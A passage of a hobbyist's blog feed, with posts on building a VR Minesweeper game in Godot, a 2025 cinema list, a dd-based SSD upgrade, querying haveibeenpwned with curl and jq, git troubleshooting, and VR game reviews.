   <img alt="minesweeper vr screen shot windows 3d theme mines" src="/home/rednuht/projects/flog/images/duck-duck-mine-win3d-theme_mines.jpg" title="minesweeper vr screen shot windows 3d theme mines"/>
  </p>
  <p>
   I have refactored the code a fair bit since taking these two screen shots.
  </p>
  <p>
   Do need to add a markers for the mini map when using this theme. The mini map is a copy of the images from the flat theme but high up in the sky (invisible to the player), this occludes the 3D world. Which would look a bit crap from above.
  </p>
</description>
</item>
<item>
<title>cinema 2025 summary</title>
<pubDate>Sat, 03 Jan 2026 10:13:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2026.html#p030120261013</link>
<description>
  <h1>
   Cinema summary for 2025
  </h1>
  <p>
   I have had a Cineworld Unlimited card for years and as long as you use it it is totally worth it.
  </p>
  <p>
   Luckily I have a nice Cineworld five minutes away from where I live and I like watching films in the cinema. Your mileage may vary.
  </p>
  <p>
   Here is a scrape of all the 39 Cineworld tickets for the last 12 months.
  </p>
  <ul>
   <li>
    Fincher Season: Zodiac (2007)
   </li>
   <li>
    Gladiator II
   </li>
   <li>
    (IMAX) Nosferatu
   </li>
   <li>
    Companion
   </li>
   <li>
    (IMAX) Captain America: Brave New World
   </li>
   <li>
    Attack On Titan: The Last Attack (Subtitled)
   </li>
   <li>
    (IMAX) Mickey 17
   </li>
   <li>
    The Monkey
   </li>
   <li>
    Mickey 17
   </li>
   <li>
    Novocaine
   </li>
   <li>
    A Minecraft Movie
   </li>
   <li>
    A Minecraft Movie
   </li>
   <li>
    Sinners
   </li>
   <li>
    Star Wars: Episode III Revenge Of The Sith(*)
   </li>
   <li>
    (IMAX) Thunderbolts*
   </li>
   <li>
    Final Destination: Bloodlines
   </li>
   <li>
    (4DX) Mission: Impossible - The Final Reckoning
   </li>
   <li>
    M3GAN 2.0
   </li>
   <li>
    (3D) Superman
   </li>
   <li>
    28 Years Later
   </li>
   <li>
    Jujutsu Kaisen Hidden Inventory/Premature Death
   </li>
   <li>
    Jurassic World Rebirth
   </li>
   <li>
    Children Of Men (2006)
   </li>
   <li>
    F1 The Movie
   </li>
   <li>
    (4DX 3D) The Fantastic Four: First Steps
   </li>
   <li>
    The Naked Gun (2025)
   </li>
   <li>
    (IMAX) Nolan Season: Oppenheimer (2023)
   </li>
   <li>
    (IMAX) Nolan Season: Tenet (2020)
   </li>
   <li>
    The Conjuring: Last Rites
   </li>
   <li>
    (IMAX) Demon Slayer: Kimetsu No Yaiba Infinity
   </li>
   <li>
    (4DX 3D) Tron: Ares
   </li>
   <li>
    (4DX 3D) Chainsaw Man The Movie: Reze Arc (SUB)
   </li>
   <li>
    (IMAX) Predator: Badlands
   </li>
   <li>
    Now You See Me: Now You Don't
   </li>
   <li>
    Jujutsu Kaisen: Execution
   </li>
   <li>
    The Running Man (2025)
   </li>
   <li>
    Five Nights At Freddy's 2
   </li>
   <li>
    Zootropolis 2
   </li>
   <li>
    Anaconda (2025)
   </li>
  </ul>
  <p>
   And yes, I sometimes see the same movie twice. Normally because I want to see it with someone else.
  </p>
  <p>
   "Anaconda" was terrible !!
  </p>
  <p>
   "Star Wars: Episode III Revenge Of The Sith" was cancelled :(
  </p>
</description>
</item>
<item>
<title>where is 2025</title>
<pubDate>Sat, 03 Jan 2026 09:41:03 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2026.html#p030120260941</link>
<description>
  <h1>
   Year 2025 summary
  </h1>
  <p>
   It really is scary when I do these each year and realise how much has happened :D
  </p>
  <p>
   number of posts 42
  </p>
  <p>
   total tags (recorded in the system)
2282
  </p>
  <p>
   of which were used in 2025
280
  </p>
  <p>
   and of which were new in 2025
64
  </p>
  <p>
   Top tags
   <br/>
   12
   <a href="f-log/tagging/vr.xml">
    vr.xml
   </a>
   <br/>
   12
   <a href="f-log/tagging/godot.xml">
    godot.xml
   </a>
   <br/>
   11
   <a href="f-log/tagging/flog.xml">
    flog.xml
   </a>
   <br/>
   10
   <a href="f-log/tagging/game.xml">
    game.xml
   </a>
   <br/>
   9
   <a href="f-log/tagging/fail.xml">
    fail.xml
   </a>
  </p>
  <p>
   See the whole year in
   <a href="year2025.html">
    Year 2025 summary
   </a>
   <br/>
   See 23 years of posts in
   <a href="archive.html">
    The archive
   </a>
  </p>
  <p>
   The generated graphs
  </p>
  <p>
   <img alt="graph of posts" src="/home/rednuht/projects/flog/images/plot_2025.png" title="graph of posts"/>
  </p>
  <p>
   <img alt="graph of posts" src="/home/rednuht/projects/flog/images/plot_log_tall_2025.png" title="graph of posts"/>
  </p>
  <p>
   <img alt="graph of posts" src="/home/rednuht/projects/flog/images/plot_no_log_short_2025.png" title="graph of posts"/>
  </p>
  <p>
   <img alt="graph of posts" src="/home/rednuht/projects/flog/images/plot_no_log_short_part_2_2025.png" title="graph of posts"/>
  </p>
</description>
</item>
<item>
<title>themed like windows pancaked</title>
<pubDate>Fri, 02 Jan 2026 22:09:37 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2026.html#p020120262209</link>
<description>
  <h1>
   VR Minesweeper flat windows theme
  </h1>
  <p>
   With all the groundwork set from my incredibly ugly simple VR Minesweeper, it took only an hour or so to create a switchable theme(*).
  </p>
  <p>
   This was always the plan. The flat 2d Windows look was to prove the theming system worked. Next will be a 3D version.
  </p>
  <p>
   <img alt="vr minesweeper with flat windows theme" src="/home/rednuht/projects/flog/images/duck-duck-mine-flat-win-theme.jpg" title="vr minesweeper with flat windows theme"/>
  </p>
  <p>
   (*) When I say that, it took many extra hours to iron out all the bugs, but the concept, that was solid!
  </p>
</description>
</item>
<item>
<title>end of 2025</title>
<pubDate>Wed, 31 Dec 2025 21:43:38 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2025.html#p311220252143</link>
<description>
  <h1>
   Its the last day of 2025
  </h1>
  <p>
   Pretty much given up on Hollow Knight, I have reached my skill limit and there is a surprising amount to still do to get 112%. Maybe I will revisit it...
  </p>
  <p>
   Got my Tattoo redone this month. That was after a disastrous attempt a few months ago where I fainted after 15 minutes. They hit a specific spot on my wrist and I went out like a light and then couldn't recover for 2 hours. But I survived it this time took, a while, lots of breaks and lots of Lucozade.
  </p>
  <p>
   I know what to do next for the VR game, but it's not getting done. Maybe next year :)
  </p>
  <p>
   Technically I just wanted to post this so I would not miss a month.
  </p>
</description>
</item>
<item>
<title>vr wrist overview</title>
<pubDate>Sun, 23 Nov 2025 22:21:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2025.html#p231120252221</link>
<description>
  <h1>
   VR Wrist overview
  </h1>
  <p>
   Due to the nature of being
   <em>
    inside
   </em>
   a 3D representation of the Minesweeper world I wanted to be able to see a birds-eye view.
  </p>
  <p>
   This turned out to be surprisingly straightforward.
   <img alt="VR game screenshot of wrist view prototype" src="/home/rednuht/projects/flog/images/duck-duck-mine-wrist-view.jpg" title="VR game screenshot of wrist view prototype"/>
  </p>
  <p>
   I attached a
   <strong>
    Node3D
   </strong>
   to my
   <strong>
    XROrigin3D
   </strong>
   and to that I added a
   <strong>
    SubViewport
   </strong>
   ,
   <strong>
    Camera3D
   </strong>
   and a
   <strong>
    MeshInstance3D
   </strong>
   . Then I added a
   <strong>
    Sprite3D
   </strong>
   to my hand mesh.
  </p>
  <p>
   With the tree built I set the
   <strong>
    Sprite3D
   </strong>
   to use the
   <strong>
    SubViewport
   </strong>
   , set the
   <strong>
    Camera3D
   </strong>
   to be Orthogonal, tweaked the
   <strong>
    Sprite3D
   </strong>
   to be single sided and a reasonable size/rotation etc.
  </p>
  <p>
   Finally I used my existing Event Bus within a script attached to the
   <strong>
    XROrigin3D
   </strong>
   to listen to the game area size being set and set the Orthogonal
   <strong>
    Camera3D
   </strong>
   to have a size that means it can see the whole board.
  </p>
  <p>
   One difficulty was that the new view could see itself and that was causing odd glitching. I set the Cull mask to only show Layer 1 and then moved the
   <strong>
    Sprite3D
   </strong>
   and raycast meshes to be on Layer 2. I like the effect that you can still see the actual hands in the view.
  </p>
  <p>
   I have fixed it now, but the screenshot above shows the view attached to the left wrist upside down :)
  </p>
  <p>
   The
   <strong>
    Node3D
   </strong>
   containing the
   <strong>
    Camera3D
   </strong>
   was moved to above the game area. Due to being Orthogonal the height does not matter, but it is easier for me to see it in the editor.
  </p>
  <p>
   Making the
   <strong>
    Sprite3D
   </strong>
   single sided means the view is not visible unless you turn your wrist towards you, as if reading a watch.
  </p>
</description>
</item>
<item>
<title>a little ssd upgrade</title>
<pubDate>Sun, 23 Nov 2025 17:12:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2025.html#p231120251712</link>
<description>
  <h1>
   A little upgrade
  </h1>
  <p>
   I have been surviving on a 256GB SSD drive for a very very long time. But just recently I keep having to do emergency re/movals to keep everything ticking along. So I got myself a new 2TB.
  </p>
  <p>
   Plugged it in, booted and
   <code>
    dd
   </code>
   'd one drive to the other block by block. Removed the old drive and was able to boot to the new one as if nothing had changed. If you know about
   <code>
    dd
   </code>
   you would know that the block by block copy means that the new drive has the capacity of the old one. This was expected all, I needed to do is boot a USB drive with GParted and resize the partition...
  </p>
  <p>
   Oh, it sounded so easy, but ...
  </p>
  <p>
   First boot of my USB drive with GParted got stuck on an initial copyright screen.
  </p>
  <p>
   Messing around in the BIOS and I cannot disable UEFI secure boot overall, but I can disable it for the USB drive. Didn't help, what did, was forcing UEFI mode on USB. This got me to the GParted boot menu. None of the menu options got very far without a
   <em>
    Kernel panic
   </em>
   . Reading the details and it was because I had left my old Windows hard drive in the matching and GParted was trying to check it in a
   <em>
    dirty state
   </em>
   . Removed that drive and tried again... got
   <em>
    Kernel panic
   </em>
   . Something about the SQUASH FS being corrupt.
  </p>
  <p>
   OK, so the USB drive install of GParted seems to be borked and I have no idea how old that version is. So I downloaded the latest version 1.7.0 and was just about to
   <code>
    dd
   </code>
   it onto the drive, when I thought I should use a dedicated tool for the job.
  </p>
  <p>
   In my Bash history the only reference to
   <em>
    Unetbootin
   </em>
   was to remove it from the system. Strangely all the documentation still says you should be able to install it, but it is not available. Looked at the next most common USB boot drive writer
   <em>
    Ventoy
   </em>
   , nah not available either.
  </p>
  <p>
   So I ended up just
   <code>
    dd
   </code>
   -ing it
  </p>
  <pre><code>dd if=/home/user/gparted-live-1.7.0-8-amd64.iso  of=/dev/sdc bs=4M; sync
</code></pre>
  <p>
   Booted first time no issues. Even recognised that the partition could be extended. 3-4 minutes later and one reboot and I finally have a 2TB drive with everything working as it should.
  </p>
</description>
</item>
<item>
<title>i have been pwned again</title>
<pubDate>Thu, 13 Nov 2025 23:05:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2025.html#p131120252305</link>
<description>
  <h1>
   I have been pwned again!
  </h1>
  <p>
   Except I haven't in any meaningful way.
  </p>
  <p>
   If you have not heard of
   <a href="https://haveibeenpwned.com">
    haveibeenpwned.com
   </a>
   then you might be looking in the wrong places. The site comes up regularly in the press when there has been a data breach and people need to check if their email address is in it.
  </p>
  <p>
   I pay for access due to the number of email aliases I have amassed over the years. And I am happy to support them.
  </p>
  <p>
   Trying to use my notes from the
   <a href="Jul2024.html#p280720242244">
    Previous
   </a>
   incident was a bit of a disaster. I had tried not include specific file names and this meant the commands were incomplete, not to mention the Json format returned from HIBP has changed.
  </p>
  <p>
   So, here are my more complete notes from getting the latest data from email alias on my domain.
  </p>
  <pre><code># download my breaches using my APIKEY
curl --header "hibp-api-key: HIBPAPIKEY" "https://haveibeenpwned.com/api/v3/breacheddomain/jumpstation.co.uk" -o /tmp/hibp

# create a map file to work with
jq '. | to_entries | map_values({key:.value} + { email: .key }) | map({key:.key[], email:.email})' /tmp/hibp &gt; /tmp/hibp_map.json

# get all the breaches
curl "https://haveibeenpwned.com/api/v3/breaches" -o /tmp/breaches-2025-10-13.json

# join and sort the data
jq '[JOIN(INDEX(input.[]; .Name); .[]; .key) | add] | sort_by(.AddedDate,.email)' /tmp/hibp_map.json /tmp/breaches-2025-10-13.json &gt; /tmp/hibp_joined_sorted.json

# get just this years breaches and only include the breach name(key), my email alias and the breach AddedDate
jq 'map(select(.AddedDate | startswith("2025") ) ) | map({key:.key, email:.email, addedDate:.AddedDate})' /tmp/hibp_joined_sorted.json
</code></pre>
  <p>
   and after all that it turned out to be three very old addresses in the
   <strong>
    SynthientCredentialStuffingThreatData
   </strong>
   breach
  </p>
  <p>
   For more information on how some of these
   <em>
    jq
   </em>
   commands work see
   <a href="Jul2024.html#p280720242244">
    Previous
   </a>
  </p>
</description>
</item>
<item>
<title>game over vr man</title>
<pubDate>Thu, 30 Oct 2025 22:34:01 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2025.html#p301020252234</link>
<description>
  <h1>
   Game Over Man!
  </h1>
  <p>
   After writing/gushing all about
   <a href="Oct2025.html#p271020251938">
    Hollow Knight
   </a>
   I made a point of doing some
   <a href="tags.html?tag=vr">
    VR
   </a>
   <a href="tags.html?tag=minesweeper">
    development
   </a>
   .
  </p>
  <p>
   Now when you uncover a mine the
   <strong>
    game over
   </strong>
   signal is triggered. This uncovers all the tiles, mines and mine counts and adds a solid cover across the playing area. If you aim at this new cover then it becomes transparent and you can see all the tiles.
  </p>
  <p>
   This
   <em>
    debug
   </em>
   action was required as I kept dying, all the tiles would be hidden and I would left wondering what I had done wrong. Also, I was convinced that there was a bug. There was no bug, it is just quite a different experience standing in the mine sweeper board. e.g. it is harder!
  </p>
  <p>
   <img alt="VR dev mine sweeper game over debug view" src="/home/rednuht/projects/flog/images/duck-duck-mine-game-over.jpg" title="VR dev mine sweeper game over debug view"/>
  </p>
  <p>
   and, yes the marked mines do look like bizarre space radishes.
  </p>
  <p>
   There is no way to win the game yet, but from the game over state each time you click the
   <em>
    game over cover
   </em>
   the tiles are reset and new game begins.
  </p>
  <p>
   I might have done more if the game was not so addictive!
  </p>
  <p>
   Remember that this is just a functionality stage. I will begin prettifying it only when the basics are ironed out.
  </p>
</description>
</item>
<item>
<title>the inescapable pull of hollow knight</title>
<pubDate>Mon, 27 Oct 2025 19:38:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2025.html#p271020251938</link>
<description>
  <h1>
   Hollow Knight
  </h1>
  <p>
   I got to play Hollow Knight:Silksong for a day and thought it was pretty interesting. Then I lost access to it(*), but I found the original Hollow Knight and now I am addicted. Not an understatement. I have lost sleep and failed to eat (properly) due to the pull of just one more run.
  </p>
  <p>
   The game can be described a simple Metroidvania. So there is lots of areas you can see but not access until you gain a specific ability and lots and lots of collecting of Geo (money), items (to sell for more money), charms with twisted effects and soul. It hits me right in the if-I-try-one-more-time-then-I-will-get-it bone. This is what caused me so much trouble with Zelda: Breath of the Wild.
  </p>
  <p>
   The game is also huge. Basically whenever you look at the map and think, "Wow! I have explored so much", there is in fact much much more and then some. As one of the key mechanics is that you don't have to explore everything, you don't have to uncover everything. I just feel compelled to do so...
  </p>
  <p>
   You get such a rush when you defeat a boss that when you first encountered it (and the subsequent 20 times) felt impossible. Or you find another charm behind a hidden wall and feel like bad ass equipping it.
  </p>
  <p>
   Story is strangely both strong and absent. Instead of this being your story its hundreds of NPCs stories that you interactive with. The main story is also hidden and always out of reach except when you catch a brief fragment. Tantalising, and pulling you back each time.
  </p>
  <p>
   Needless to say, I like it and I will never ever ever play Hollow Knight:Silksong. In the same way I can never let myself play Zelda: Tears of the Kingdom. Less I be become a withered husk hunched over my console.
  </p>
  <p>
   I am impressed that I am not playing right now... I want to be playing right now!
  </p>
  <p>
   This is putting a dampener on VR development.
  </p>
  <p>
   (*) Changed Xbox game pass subscription, or to be more exact the subscription expired due to changing it.
  </p>
</description>
</item>
<item>
<title>minesweeper vr in play early prototype</title>
<pubDate>Wed, 08 Oct 2025 21:31:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2025.html#p081020252131</link>
<description>
  <h1>
   Minesweeper in VR (almost)
  </h1>
  <p>
   I now have all the basic elements for a playable Minesweeper in VR.
  </p>
  <p>
   <img alt="screen shot of minesweeper in VR in play" src="/home/rednuht/projects/flog/images/duck-duck-mine-basic-play.jpg" title="minesweeper in VR"/>
  </p>
  <p>
   Either hand can be used to uncover land or place a marker and mines emit an event. Not done anything with the event yet other than to print "BOOM!" in the console.
  </p>
  <p>
   Lots of polishing to do and then the work really begins. This project is (will be) all about the graphic styling...
  </p>
</description>
</item>
<item>
<title>wifi headset woes</title>
<pubDate>Thu, 25 Sep 2025 21:00:27 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2025.html#p250920252100</link>
<description>
  <h1>
   Wifi Headset woes
  </h1>
  <p>
   I have a little issue with the Quest 2 and it all revolves around my Wifi. The router cannot be moved and is in the far corner of the downstairs. My computer is the opposite of the house and is connected through ethernet via the mains power ring.
  </p>
  <p>
   The weird thing is, 1 in 5 times the Quest 2 will be fine upstairs and other times it will be unable to handle as much as 1 frame per second(*)
  </p>
  <p>
   As my Godot VR development continues I
   <strong>
    really
   </strong>
   want a good connection so I can hop in and out of VR. That is not to say that doing Godot VR development without the headset isn't possible ...
  </p>
  <p>
   I heard that the WiVRn Linux app now supports wired connection over USB and really wanted to check it out, but there are some steps that are not
   <em>
    normal
   </em>
   .
  </p>
  <ol>
   <li>
    You need your headset in
    <strong>
     Developer Mode
    </strong>
   </li>
   <li>
    To get this you need to visit
    <a href="https://developer.oculus.com">
     developer.oculus.com
    </a>
   </li>
   <li>
    Log in with the same Meta account as you use for your headset.
   </li>
   <li>
    Go to your profile and
    <strong>
     My Apps
    </strong>
   </li>
   <li>
    Create an Organisation. Any name will do, it just has to be unique.
   </li>
   <li>
    Agree to the Terms and Conditions
   </li>
   <li>
    Turn on your headset and load the Meta mobile app
   </li>
   <li>
    Click on the headset and then select
    <strong>
     Headset settings
    </strong>
    and
    <strong>
     Developer mode
    </strong>
   </li>
   <li>
    Enable
    <strong>
     Developer mode
    </strong>
   </li>
   <li>
    Start the WiVRn dashboard.
   </li>
   <li>
    Run the following two commands (might have to authorise the connection first time around inside the headset)
   </li>
   <li>
    That's it!
   </li>
  </ol>
  <p>
   You do have to have Android Developer tools already installed, but I had those.
  </p>
  <pre><code>adb reverse tcp:9757 tcp:9757
adb shell am start -a android.intent.action.VIEW -d "wivrn+tcp://localhost" org.meumeu.wivrn
</code></pre>
  <p>
   results in the port number and a response of
  </p>
  <pre><code>Starting: Intent { act=android.intent.action.VIEW dat=wivrn+tcp://localhost/... pkg=org.meumeu.wivrn }
</code></pre>
  <p>
   and you should find that WiVRn has started on the headset without you doing anything and it is ready for you to start some VR-ing!
  </p>
  <p>
   If you get this response then a popup will be waiting to be OK-d in the headset
  </p>
  <pre><code>adb: device unauthorized.
This adb server's $ADB_VENDOR_KEYS is not set
Try 'adb kill-server' if that seems wrong.
Otherwise check for a confirmation dialog on your device.
</code></pre>
  <p>
   (*) While writing this up I have seen that other people have had the same 1 in 5 Wifi issues and it is all to do with the Quest 2 dropping to the lowest Wifi speeds when it sleeps. So in theory, I could just set the headset to not sleep and turn the Wifi off and on to try and get it back to full strength.
But with the cable plugged in I am getting the Quest charged, so I think I will stick with that.
  </p>
</description>
</item>
<item>
<title>how I found my hands and then could not keep my fingers off the buttons</title>
<pubDate>Wed, 24 Sep 2025 21:46:12 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2025.html#p240920252146</link>
<description>
  <h1>
   How I found my hands and then could not keep my fingers off the buttons
  </h1>
  <p>
   If it wasn't obvious
  </p>
  <pre><code> git diff HEAD~3 HEAD~4
</code></pre>
  <p>
   showed me the difference between the two commits and could see I had set the visibility of the
   <em>
    XROrigin3D
   </em>
   to
   <em>
    false
   </em>
   in the
   <em>
    main
   </em>
   scene. Which was annoying because that was the only place I wasn't looking!
  </p>
  <p>
   Then once I could see my hands I had some more fun.
  </p>
  <p>
   I had it so when your hand pointed at a tile it highlighted (and deselected any existing highlighted tiles), but what I needed was to detect a button press and then initiate the mine clearing algorithm.
  </p>
  <p>
   There were a nice
   <em>
    button_pressed
   </em>
   and
   <em>
    button_released
   </em>
   signal events I could hook into. When I ran the code everything went nuts as if I was constantly pressing and releasing all the buttons at once!
  </p>
  <p>
   One of the cool and rather odd things about the Quest 2 controllers is they can detect if you finger is
   <strong>
    near
   </strong>
   a button. So, I was in fact touching and releasing different buttons, just incredibly lightly.
  </p>
  <p>
   The fix is to use
  </p>
  <pre><code>input_float_changed(name: String, value:float)
</code></pre>
  <p>
   and
   <em>
    that
   </em>
   value can be checked for
   <strong>
    1.0
   </strong>
   (pressed fully) and
   <strong>
    0.0
   </strong>
   (released completely)
  </p>
  <p>
   The game is not quite working. If I highlight certain tiles and press the trigger then it does correctly uncover that title and all the surrounding tiles (and their surrounding tiles etc). Then other tiles just uncover themselves and do not try and deal with the tiles around them.
  </p>
</description>
</item>
<item>
<title>how i lost my hands</title>
<pubDate>Tue, 16 Sep 2025 08:06:39 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2025.html#p160920250806</link>
<description>
  <h1>
   How I lost my hands
  </h1>
  <p>
   I was mucking about in Godot and not using the Quest 2 headset to make sure everything worked ...
  </p>
  <p>
   Somehow, somewhere I had hidden or disabled the hand models that appear as your controllers.
  </p>
  <p>
   But I was using
   <strong>
    git
   </strong>
   so all I had to do was find the check-in before they disappeared and compare it. Godot is all text files and although somewhat cryptic all the changes are logged there.
  </p>
  <pre><code>git checkout HEAD~2
</code></pre>
  <p>
   Test in Godot hands are still gone, so I need to go back further...
  </p>
  <pre><code>git checkout HEAD~3
</code></pre>
  <p>
   Now the hands are back but it looks like really old code...
  </p>
  <p>
   What was the message that appeared after the first command?
  </p>
  <pre><code>Note: switching to 'HEAD~2'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c &lt;new-branch-name&gt;

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at 30d4a0d replaced floor with PlayArea, height magically fixed, raycast not visible
</code></pre>
  <p>
   Oh so this was not 3 commits ago it is now 2+3 commits ago!
  </p>
  <p>
   So I can just run
   <code>
    git switch -
   </code>
   then? Well, yes, but not more than once, now I am stuck in detached HEAD :(
  </p>
  <p>
   I tried my usual reset command
  </p>
  <pre><code>git checkout .
</code></pre>
  <p>
   but it helpfully checked out the same commit, because it is the new HEAD
  </p>
  <p>
   All the LLMs and Google wanted me to use
   <code>
    --reset hard
   </code>
   but it was much easier to just
  </p>
  <pre><code>git checkout main
</code></pre>
  <p>
   and I am back to the true HEAD!
  </p>
  <p>
   Now I can carefully checkout the actual 3rd commit
  </p>
  <pre><code> git checkout HEAD~3
</code></pre>
  <p>
   hands still MIA, switch back to main
  </p>
  <pre><code>git checkout main
</code></pre>
  <p>
   and try the 4th
  </p>
  <pre><code> git checkout HEAD~4
</code></pre>
  <p>
   Ah ha! the hands are back!
  </p>
  <p>
   I just need to switch back to main
  </p>
  <pre><code>git checkout main
</code></pre>
  <p>
   and diff the two
  </p>
  <pre><code> git diff HEAD~3 HEAD~4
</code></pre>
  <p>
   Git for the Win!
  </p>
</description>
</item>
<item>
<title>git to github</title>
<pubDate>Mon, 08 Sep 2025 22:10:04 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2025.html#p080920252210</link>
<description>
  <h1>
   Git to Github
  </h1>
  <p>
   This is an update for my reference as the previous notes have gone a bit stale.
  </p>
  <p>
   To take an existing local project and put it on Github.
  </p>
  <p>
   <code>
    cd
   </code>
   into your project folder and run
  </p>
  <pre><code>git init
git add -A
git commit -m "initial commit"
</code></pre>
  <p>
   The commit is now officially locally created.
  </p>
  <p>
   Then go to Github and create a new repo and come back with the
   <code>
    new-repo-name
   </code>
  </p>
  <pre><code>git remote set-url origin git@github.com:my-username/new-repo-name.git
git remote -v
</code></pre>
  <p>
   Where
   <code>
    my-username
   </code>
   is your github username.
  </p>
  <p>
   Your remote is now pointing to github
  </p>
  <pre><code>eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_rsa
</code></pre>
  <p>
   to add your passphrase and
   <em>
    log in
   </em>
   to github
  </p>
  <pre><code>git push --set-upstream origin main
</code></pre>
  <p>
   should push all your project files to github
  </p>
  <p>
   if it gives you a message about needing to pull first you can
  </p>
  <pre><code>git pull
git fetch origin
git push --force origin main
</code></pre>
  <p>
   then to test it add a README.md file
  </p>
  <pre><code>vi README.md
git add .
git commit -m "added README"
git push
</code></pre>
  <p>
   prophet!
  </p>
</description>
</item>
<item>
<title>instanciated mines</title>
<pubDate>Mon, 08 Sep 2025 21:59:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2025.html#p080920252159</link>
<description>
  <h1>
   Instantiated mines
  </h1>
  <p>
   Here is a screenshot of a 10x10 grid of mines and mine counts from my Godot 3D 2D minesweeper.
  </p>
  <p>
   <img alt="screenshot of 3d 2d minesweeper board" src="/home/rednuht/projects/flog/images/duck-duck-mine-proto-board.jpg" title="screenshot of 3d 2d minesweeper board"/>
  </p>
  <p>
   Now just have write all the interactive bits.
  </p>
</description>
</item>
<item>
<title>godot goes backwards</title>
<pubDate>Mon, 08 Sep 2025 21:55:55 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2025.html#p080920252155</link>
<description>
  <h1>
   Godot goes backwards
  </h1>
  <p>
   I am writing a 3D version of 2D minesweeper in Godot and the one key area of coding is the logic of creating the board.
  </p>
  <p>
   It needs to have enough mines randomly placed and also not to create clusters of 8 or more that would could be impossible to decipher. That logic worked surprisingly well, but when I came to counting the mines around a square, I got a shock. The counts were off for the first line and first column. The numbers were too high.
  </p>
  <p>
   After some quite considerable debugging I find that both Godot and Python allow negative indexes to arrays.
   <em>
    Or maybe I did know and forgot
   </em>
   .
  </p>
  <p>
   So those counts were counting the mines on the other side of the map!
  </p>
  <p>
   Note to self;
  </p>
  <p>
   Exceed the bounds of an array, get and error
  </p>
  <p>
   Use a negative index and bounce back to the other end of the array
  </p>
  <p>
   This is one of those things that you could go your entire life coding and never hit, so,
   <em>
    lucky me!
   </em>
  </p>
</description>
</item>
<item>
<title>gut-ed by godot testing code</title>
<pubDate>Mon, 08 Sep 2025 21:43:53 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2025.html#p080920252143</link>
<description>
  <h1>
   Gut-ed by Godot Testing
  </h1>
  <p>
   not sure why the code got all screwed up there, here it is again.
  </p>
  <pre><code> func _get_obj_filename(obj):
    if typeof(obj) == TYPE_OBJECT:
        var script = obj.get_script()
        if script and script.has_method("get_path"):
            var path = script.get_path()
            if path != "":
                return path
    return "unknown"
</code></pre>
</description>
</item>
<item>
<title>gut-ed by godot testing</title>
<pubDate>Mon, 08 Sep 2025 21:39:01 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2025.html#p080920252139</link>
<description>
  <h1>
   Gut-ed by Godot Testing
  </h1>
  <p>
   I was quite pleased with my progress after only a few short hours of Godot coding. Things were generally just working, so I did some refactoring and then looked to add some unit tests...
  </p>
  <p>
   First you have to install an Add-On called
   <em>
    Gut
   </em>
   , then enable it, then it should just be a matter of creating a test and running it.
  </p>
  <p>
   But I got a very weird response when running my first very simple test.
  </p>
  <p>
   <code>
    Parser Error: Function "inst_to_dict()" not found in base self.
   </code>
  </p>
  <p>
   It seems the only way of fixing it is to either; write more complex tests or patch the testing framework. The issue is that the Gut system is trying to work out the details of the file your test is running from so that it can report the file name etc. But when the this code runs the test file details are reported as Boolean, not a file and obviously a Boolean does not have a file name property and it fails.
  </p>
  <p>
   I opted to replace the offending code with
  </p>
  <p>
   <code>
    func _get_obj_filename(obj):
    if typeof(obj) == TYPE_OBJECT:
        var script = obj.get_script()
        if script and script.has_method("get_path"):
            var path = script.get_path()
            if path != "":
                return path
    return "unknown"
   </code>
  </p>
  <p>
   which fixed it!
  </p>
</description>
</item>
<item>
<title>a quest for the resident evil</title>
<pubDate>Sun, 31 Aug 2025 12:53:50 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p310820251253</link>
<description>
  <h1>
   Resident Evil 4 VR
  </h1>
  <p>
   Another sale special, in fact if you look at just about any of my VR reviews they are for games that I got on sale. Because the standard prices are
   <strong>
    too high
   </strong>
   and waiting for a sale can be as little as 3-6 months.
  </p>
  <h2>
   The game play
  </h2>
  <p>
   Point and shoot. But of course there is much more to it than that. There is the multiple weapons, treasure hunting, inventory management, numerous puzzles and varying enemies requiring different strategies.
  </p>
  <p>
   <img alt="resident evil 4 shotgun" src="/home/rednuht/projects/flog/images/resident-evil-4-vr-2.jpg" title="resident evil 4 shotgun"/>
  </p>
  <h2>
   The experience
  </h2>
  <p>
   The opening scene felt a bit lack lustre, low poly and drab. But then just standing there and using the knife. Getting crisp high frame rates and high resolution textures. You could almost taste how good the game was going to be.
  </p>
  <p>
   The weapons are incredibly detailed and satisfying to use. I was very surprised with the impact inventory management has to play as well as how preserving your ammo is critical.
  </p>
  <p>
   You start by fighting peasants with pitchforks, but this rapidly ramps up to chainsaw wielding hooded figures, giant trolls, wolfs, snakes, armed monks, crazed soldiers and that is excluding the numerous boss enemies!
  </p>
  <p>
   I really enjoyed the treasure hunting and upgrading your weapons. It gave the game a lot of gravitas with your choices.
  </p>
  <p>
   There is lots of dialog and variances in the basic game play. Including, heart attack inducing Quick-Time events.
  </p>
  <h2>
   The problems
  </h2>
  <p>
   Mostly this game is perfect. There were two areas that caught me out.
  </p>
  <p>
   I was able to solve all the puzzles without help from the internet, but there was one that I brute forced and then tried to find the details on line, only to find no one seems to know how you are supposed to know the answer. Which is strange, all the other puzzles either were self explanatory or clues could be found.
  </p>
  <p>
   The other was this fellow
